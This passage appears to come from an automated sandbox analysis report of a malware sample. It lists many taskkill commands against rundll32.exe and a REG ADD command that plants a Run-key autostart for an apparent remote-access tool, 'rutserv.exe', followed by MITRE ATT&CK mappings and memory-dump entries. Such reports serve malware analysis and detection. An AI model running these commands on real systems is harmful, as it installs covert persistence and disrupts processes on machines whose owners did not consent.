      Kills process with taskkill
      PID:1104
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3388
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:992
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3976
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3104
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4316
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:3528
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4084
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4412
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3464
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4856
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:3060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:2416
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3608
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3504
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2976
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4684
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:844
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4440
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:4988
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:3948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:5024
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      PID:2028
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1052
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:3876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:2304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "rundll32.exe"
      4⤵
      Kills process with taskkill
      PID:1836
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "serv" /t REG_SZ /d "C:\ProgramData\Immunity\rutserv.exe"
      4⤵
      Adds Run key to start application
      PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4520 -ip 4520
1⤵
PID:2628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1916-148-0x0000000001B10000-0x0000000001B11000-memory.dmp

Filesize
4KB

Download
memory/2816-130-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/2816-132-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/3380-134-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Filesize
4KB

Download
memory/4520-137-0x0000000001850000-0x0000000001851000-memory.dmp

Filesize
4KB

Download